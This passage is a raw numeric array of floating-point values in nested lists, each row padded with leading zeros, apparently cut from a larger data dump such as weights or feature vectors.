0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.725, -0.076, 0.0773, -0.1504, -0.0415, -0.02998, -0.2913, -2.479, -2.006, -0.1072, 0.05402, -0.3894, 0.08466, -0.013695, -0.02022, 0.1603, 0.9746, -0.1108, -0.7495, 0.2059, -0.0538, -2.92, -0.1812, -0.225, 0.728, -0.413, -0.12286, -1.035, -0.1257, -1.141, -0.6396, 0.0468, -0.0935, 1.299, -0.2068, 0.05344, -0.648, 0.1804, -1.942, -0.2402, 0.145, -0.0653, -0.4006, 0.1447, 0.005314, 0.0988, 0.4304, 0.004604, -0.279, -0.2001], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.146, -0.0243, -0.01718, -0.01312, -0.05066, -0.01206, -0.00206, 0.2634, 0.3604, -0.278, 0.000999, 0.1919, -0.05005, -0.2257, -0.0307, -0.3103, 0.1017, -0.00916, 0.0708, -1.072, -0.0617, -3.482, -0.04102, -0.01269, 0.05005, -0.946, -0.04944, -0.3547, 0.0644, -0.01791, -0.02554, -0.1525, 0.07, -0.1658, -0.03128, 0.0813, -0.09186, -0.10144, -0.6514, -0.1669, -0.1724, -0.03732, 0.005276, 0.06366, 0.02415, -0.00587, 0.11633, -0.166, -0.01444, -0.02855], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.3523, -0.2019, -0.3516, -0.03516, 0.004276, -0.04257, 0.2017, 0.1409, 0.4497, -0.4443, -0.2184, -0.014336, -0.0945, 0.0855, 0.00774, -0.458, -0.08264, -0.0777, 0.1339, -0.04416, -0.0298, 0.0902, -0.1194, -0.0649, 0.05466, 0.3958, 0.06174, -0.06506, 0.1453, 0.1312, -0.137, 0.01611, 0.4326, 0.0896, -0.0364, -0.1252, -0.03323, -0.1571, -0.08575, 0.1382, -0.0969, -0.01519, -0.0797, 0.0597, 0.0411, -0.104, 0.2369, 0.2034, 0.3518, 0.09436], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.2979, -0.02191, -1.849, -0.2194, -0.03555, -1.057, -0.1495, 0.1239, -4.473, -0.4316, -1.913, 1.142, 0.7773, 0.549, 0.043, -0.00358, -0.5005, -5.438, -1.468, -0.2032, -0.1236, 0.2512, -0.4822, -0.7812, 0.2612, -2.104, 0.007725, -3.934, 0.7617, 0.2065, -0.1482, -0.3748, 0.837, 0.11536, -0.00554, -0.344, -0.1489, 0.3625, 0.09863, -0.1186, 0.2482, 0.03247, -0.2003, -0.1803, 0.0157, 0.2062, 0.2488, 0.2798, -0.2441, -1.729], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.10315, -0.01653, 0.0137, -0.3552, -0.01955, 0.10425, -0.03105, 0.3152, 0.0655, -0.3435, -0.1935, -0.525, 0.2803, -0.3447, -0.02002, -0.088, 0.01518, 0.04245, -0.1802, -0.03717, -0.09937, 0.1924, -0.261, -0.06934, -0.1326, -0.2122, -0.05417, 0.68, -0.1971, -0.1841, 0.01207, -0.0893, 0.3647, 0.2825, 0.005993, -0.06354, 0.07275, 0.2668, 0.1796, -0.2223, 0.0198, 0.06143, -0.1342, 0.01659, 0.05313, -0.1288, -0.05078, 0.00612, -0.2832, -0.03284], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.208, 0.02576, -0.01814, -0.0114, 0.0314, -0.04056, -0.02417, 0.05905, 0.02618, 0.06256, -0.1218, -0.6074, 0.1614, -1.47, 0.01566, -0.01503, 0.07227, 0.01246, 0.1825, 0.08575, -0.07306, 0.091, -0.04752, 0.06586, -0.06384, -0.0631, 0.02101, -0.968, -0.0388, -0.0391, 0.0856, 0.01994, 0.0701, 0.032, 0.0635, 0.01932, -0.1042, 0.07385, -0.498, -0.316, 0.011116, -0.4014, -0.01553, 0.1056, -0.0434, -0.0605, 0.1572, -0.1289, -0.006977, -0.1609], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5615, -0.3281, -0.3306, 0.01182, 0.008385, -0.2925, -0.2161, 0.0186, -0.0634, 0.04782, -0.0433, -2.309, -0.4534, -0.256, -0.006405, 0.284, 0.147, -0.8413, -0.9956, 0.02051, 0.12274, 0.02782, -0.1407, -0.2874, 0.2056, -0.0886, 0.1431, -0.22, -0.958, -0.5396, 0.3833, -0.0117, -0.3823, -0.2272, -0.762, 0.0634, -3.25, -1.181, 0.02687, 0.02786, -3.332, -0.314, -0.065, -7.023, 0.04672, 0.05255, -4.164, -2.58, 0.11786, -0.042], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.2112, -0.3076, -0.1692, -0.0813, -0.04507, -0.3193, 0.2253, -0.02979, 0.10986, -0.05338, 0.1149, 0.344, -0.2063, 0.4226, -0.0418, -0.2043, 0.01508, -0.0453, -0.4053, -0.0953, -0.01857, -0.1913, -0.07104, -0.04453, 0.366, 0.3408, 0.06396, 0.5225, 0.2993, 0.1846, -0.0437, -0.3445, 0.1256, -0.1832, 0.1772, 0.0274, -0.01852, 0.1312, 0.5044, 0.2593, 0.011665, -0.0963, -0.1604, -0.02437, 0.0407, -0.172, 0.3723, -0.1671, 0.1564, -0.0819], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.4978, -0.0446, 0.05307, -0.1013, 0.0205, -0.01706, -0.1942, -1.806, 0.0704, 0.02924, 0.03467, -0.2546, 0.02844, 0.014206, 0.002012, 0.1317, 0.6387, -0.06537, -0.4644, 0.2358, -0.03082, 0.1821, -0.12054, -0.1477, 0.5938, -0.01944, -0.0754, -0.5845, -0.0505, -0.8413, -0.418, -0.01976, -0.048, 0.572, -0.137, 0.02715, -0.4175, 0.076, 0.00658, -0.1244, 0.0867, -0.04132, -0.295, 0.0839, -0.03668, 0.05954, 0.2664, 0.001025, -0.1707, -0.1301], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.1066, 0.00909, 0.005634, -0.4238, -0.0314, 0.04733, 0.09283, 0.0898, 0.3064, -0.06335, -0.01833, 0.208, -0.041, -0.0739, -0.003428, 0.04996, -0.02672, 0.02914, -0.02095, 0.0237, -0.05844, 0.5527, -0.2341, -0.004486, -0.0358, 0.3035, -0.05716, -0.0598, -0.181, -0.04816, -0.092, 0.1332, -0.1113, 0.1173, 0.0165, 0.0945, -0.02068, 0.09875, 0.0628, 0.004063, 0.03056, -0.03494, 0.07086, 0.1915, -0.04352, -0.2212, -0.04318, 0.03366, -0.0469, -0.0985], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -5.594, 0.942, -2.133, 1.083, 0.01406, -1.326, 0.4631, -3.463, -1.272, -2.984, -2.096, 0.4438, 2.854, 2.436, -0.0477, 0.18, 1.131, -0.6987, 0.0836, -0.7686, -1.396, 2.846, 3.19, 1.349, 0.3018, 0.648, -4.195, -0.01477, 1.259, -0.392, -5.438, 1.591, -1.852, -0.058, 0.926, -0.703, 0.8687, -16.44, 0.08496, 0.6826, -0.74, 0.919, -2.348, -0.59, -0.03473, -1.052, -0.914, -0.2498, -0.3987, 2.68], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.00799, 0.03186, 0.00935, 0.02263, 0.04724, 0.01324, -0.03964, -0.0973, 0.08514, 0.1203, -0.0865, 0.1638, 0.01403, -0.02277, -0.0433, -0.1404, -0.001974, 0.002344, 0.1427, 0.09216, -0.0645, -0.00871, -0.03091, -0.0435, -0.02252, 0.1484, -0.04214, -0.1014, -0.0651, -0.07825, -0.05225, -0.01374, -0.03305, -0.276, -0.06494, 0.1522, 0.05505, 0.09186, 0.04987, -0.04694, 0.1091, -0.001483, 0.096, 0.06824, -0.01602, -0.12213, -0.0312, -0.0667, 0.002712, -0.007267], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.01997, -0.0912, -0.2411, 0.1027, 0.005947, -0.3374, -0.2395, 1.272, -2.168, -0.03302, -0.4675, 1.529, -0.983, -0.6724, -0.01043, 0.7925, -0.01367, -0.7383, 0.732, 1.006, -0.428, -7.387, -0.385, -0.6436, -6.188, -0.8325, 0.1814, 0.0576, 0.6943, -1.544, 0.3093, -1.967, -0.4736, -1.0625, -0.5674, 0.4514, -0.04056, 0.847, 0.1224, 0.4556, 0.1254, -0.8027, -7.086, 0.21, 0.03644, 0.1406, -0.1309, -0.129, -0.10535, -0.1786], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.06934, -0.07104, -0.014946, -0.005, 0.001796, -0.1144, -0.0493, 0.1142, 0.0806, 0.07135, -0.1855, 0.185, -0.0624, 0.11536, 0.0201, 0.01831, -0.01799, -0.0793, -0.1512, -0.003778, -0.00216, 0.01122, -0.1879, -0.0626, 0.1376, 0.65, 0.03433, 0.6133, 0.2291, 0.00815, 0.2198, -0.04416, 0.131, 0.09357, 0.02869, -0.0784, 0.06003, 0.1018, 0.33, -0.2433, -0.0349, 0.0546, 0.02777, 0.04758, 0.00623, -0.0471, 0.06335, 0.003244, 0.1312, -0.01106], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.6133, -0.05624, -0.0944, -0.0653, 0.02373, -0.2063, -0.1624, 0.2244, 0.6816, 0.03662, -0.5347, 0.5063, -0.4077, 0.2064, -0.04675, 0.02971, -0.010086, -0.1787, -0.2338, 0.1442, 0.08466, -0.2812, -0.2239, -0.0696, 0.03357, -0.6157, 0.02626, -0.2805, 0.4343, 0.1327, 0.2434, -0.0976, 0.04282, -0.4883, 0.0703, -0.1021, 0.2659, -0.05447, -0.1488, 0.1448, -0.0861, -0.02206, -0.2074, 0.2081, 0.02318, 0.12396, -0.10803, -1.022, 0.3398, -0.0658], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.00617, 0.1462, -0.5527, 0.1254, 0.02289, -0.1437, -0.4792, 0.551, 0.4702, -0.01286, -0.08, -0.7686, -0.3904, -0.392, -0.003181, 0.1157, -0.1937, -0.155, -0.441, -4.164, 0.0611, 0.4731, -0.9663, -0.1566, -0.3167, -0.5366, 0.02116, 0.1726, 0.4636, -0.853, 0.02435, 0.001105, 0.3127, 0.4058, 0.0954, 0.6484, -0.0296, 0.2195, -0.2625, 0.758, 0.1357, 0.01686, -0.0282, 0.158, -0.01651, -0.4878, 0.03333, -0.007004, -0.006702, -0.3296], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.303, 0.02705, 0.0691, 0.074, -0.039, -0.1361, 0.2751, 0.3735, 0.2842, 0.1261, -0.1182, -0.03044, -0.1675, 0.1299, -0.00825, -0.2242, -0.298, -0.05237, -0.197, 0.1538, -0.01354, 0.3992, -0.2189, -0.04248, -0.00726, -6.06, -0.01461, -0.5806, -0.618, -0.0725, 0.003504, -0.03903, 0.04788, -0.974, -0.081, 0.014946, 0.10376, 0.1467, -0.2585, 0.07056, -0.1895, -0.2144, 0.0769, 0.2335, -0.000985, 0.05737, 0.0516, -0.02974, 0.08716, 0.01253], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.1724, -0.608, -0.3616, -0.0356, -0.04034, -0.2927, 0.04944, 0.1603, -0.05603, 0.04333, 0.109, 0.02959, -0.03894, 0.3447, 0.03458, -0.3008, 0.1387, 0.08057, -0.5366, -0.802, -0.1337, -0.1147, -0.1427, 0.1405, 0.2427, 0.3877, 0.1011, 0.5366, 0.4187, 0.01011, -0.2927, -0.28, 0.628, -0.1034, 0.1318, 0.7534, 0.1486, 0.5312, -0.0914, 0.3594, 0.04205, -0.0683, -0.127, -0.03046, 0.04312, -0.2396, 0.3838, -0.565, -0.0693, -0.1707], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.4353, 0.121, 0.02199, -4.348, 0.01286, -0.3748, 0.4873, -1.034, 1.038, -2.32, -0.239, 0.321, 0.2316, -0.361, -0.00608, -3.213, -0.4734, -0.06744, -0.0949, -0.92, 0.0669, 0.6553, -0.1431, -0.1179, -0.3599, 0.001116, -2.254, 0.852, 0.03824, 0.207, -1.69, -0.03772, -0.1157, 0.768, -0.982, -2.793, 0.496, -0.2974, 1.093, -0.3923, 0.1808, 0.02933, -2.635, -0.1483, -0.03644, 0.06976, -0.57, -0.1921, 0.1945, -0.8413], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.02042, 0.00667, 0.03488, -0.0772, -0.02036, 0.004166, -0.01182, -0.4453, 0.1996, -0.08777, 0.0232, 0.04047, -0.06158, 0.1736, -0.0384, -0.3088, 0.0911, 0.02747, 0.2465, -0.2812, -0.1826, -0.1555, 0.03214, 0.043, 0.002895, -0.5723, 0.04453, -0.9844, 0.377, 0.01585, 0.02919, -0.08563, -0.05554, 0.856, 0.03114, 0.08887, 0.10767, 0.503, -0.3547, -0.0745, 0.0371, 0.0788, 0.0445, 0.001101, 0.04398, 0.02196, 0.1201, -0.0835, -0.12195, -0.009346], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.03488, -0.0722, -0.2832, -0.02748, -0.02069, -0.2375, -0.06537, -0.537, 0.1528, 0.1243, -0.436, 0.6597, -1.965, -0.877, -0.0191, 0.0818, -1.654, -0.06805, 0.06232, 0.1273, 0.08044, -0.9727, -0.0789, 0.1083, 0.0512, 0.208, 0.01384, 0.128, 0.1714, 0.1399, 0.0544, 0.1104, -0.2842, 0.1715, -0.8027, 0.1536, 0.1886, -0.04047, 0.256, 0.292, 0.02492, -0.0993, -1.36, -0.2228, 0.0356, -0.1458, 0.526, -0.0251, 0.01263, 0.01929], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.3196, 0.05518, -0.01307, 0.04507, 0.021, 0.02107, -0.06946, -0.0575, 0.1809, -0.00487, -0.01058, -0.03107, -0.105, 0.01469, 0.04678, 0.123, -0.01257, 0.02444, -0.007393, 0.015594, -0.0876, 0.05243, -0.1815, -0.173, 0.1034, 0.652, -0.0645, -0.3733, -0.0912, -0.1471, -0.04785, -0.04706, 0.11945, 0.3157, -0.0781, 0.06647, -0.07886, 0.2842, 0.1437, 0.2227, 0.144, -0.02377, 0.1354, 0.0878, -0.01449, -0.05588, -0.1875, -0.1536, -0.2185, -0.0982], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.1298, -0.1699, -0.0839, 0.05933, 0.005077, 0.02638, -0.05792, -0.09314, 0.05893, 0.0166, -0.04297, -0.2947, -0.03897, -0.423, -0.00838, -0.2534, -0.005043, -0.002676, -0.0744, -0.08057, -0.0335, 0.5547, 0.0192, 0.08655, 0.2637, -0.5967, -0.1231, 0.8496, -0.7773, -0.01585, -0.07904, 0.0732, 0.3562, 0.4067, 0.001435, -0.375, -0.243, 0.669, 0.04825, -0.1798, 0.1423, 0.036, -0.02477, -0.05258, 0.00543, -0.3315, -0.2742, -0.2656, 0.01353, 0.0818], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.01329, -0.05533, -0.01482, 0.0087, -0.0432, -0.06064, -0.00792, 0.02713, 0.002834, -0.04208, -0.00993, -0.06305, -0.01848, 0.02809, 0.003628, -0.004593, -0.0362, -0.012474, 0.01817, 0.02725, -0.04617, -0.04874, -0.01656, -0.00713, 0.02968, -0.03262, -0.00255, 0.0156, -0.0643, -0.0446, -0.0002642, -0.02182, -0.003454, 0.03442, 0.02197, -0.04254, -0.04318, 0.010704, -0.01162, -0.007374, -0.01578, -0.028, 0.02391, -0.0185, 0.003214, -0.05777, -0.0431, 0.005875, -0.03003, -0.04648], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.00946, -0.000878, -0.007248, 0.001284, -0.03085, 0.00545, 0.00834, -0.0406, -0.02774, 0.02109, -0.00479, 0.2405, 0.009125, -0.10913, -0.02103, 0.0207, -0.004734, -0.01643, -0.0464, -0.01613, 0.001984, -0.1576, 0.01683, 0.008965, 0.02443, -0.5127, -0.009384, -0.02174, -0.0922, 0.0273, 0.0229, 0.01082, 0.166, -0.1736, -0.02553, -0.04572, -0.001982, 0.04263, 0.1868, -0.04977, 0.01133, 0.001407, -0.098, 0.2617, -0.001982, -0.03152, 0.0853, 0.001832, -0.01596, -0.007145], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.3806, 0.0841, -0.519, 0.2211, -0.03143, -0.04437, -0.3933, 0.4126, 0.3748, -0.0908, -0.1671, 0.1488, -0.614, -0.2267, -0.01174, 0.0733, -0.1935, 0.0655, -0.143, 0.2107, -0.1344, 0.617, -0.4072, 0.0775, -1.285, 0.2354, 0.0953, 0.2327, -0.08527, -1.353, 0.07477, 0.1661, -0.08875, 0.9956, 0.07367, 0.5137, -0.06976, -0.2522, -0.2222, 0.32, 0.1565, 0.10956, 0.2166, 0.2009, -0.04187, -0.804, -0.1398, -0.10376, -0.2045, 0.01973], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.136, 0.2003, -0.1011, -0.6875, 0.02716, 0.1655, -0.03247, 0.1295, 0.2485, -0.03458, 0.118, -0.2969, 0.3184, -0.02202, 0.02913, -0.1637, 0.11127, 0.1869, 0.0667, -0.2407, -0.2273, -0.2727, 0.623, 0.2686, 0.01797, 0.534, -0.1616, -0.5103, -0.6763, -0.146, -0.2603, 0.263, 0.2234, -0.001953, -0.4797, 0.3977, 0.2181, 0.331, 0.0461, -0.4624, 0.4167, 0.03024, 0.1265, -0.004307, 0.02936, -0.532, -0.3635, -0.6846, -1.279, -0.6714], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.284, -0.4907, -0.002518, -0.008766, 0.01903, 0.06354, 0.006817, -0.2174, -7.754, -0.6094, 0.01496, 0.414, -0.002306, -6.45, -0.01979, 0.5015, 0.2664, -0.413, -0.00582, -0.1433, -0.02113, -0.3618, 0.01979, -0.0738, 0.04517, -1.517, -0.02773, -0.6543, 0.0875, 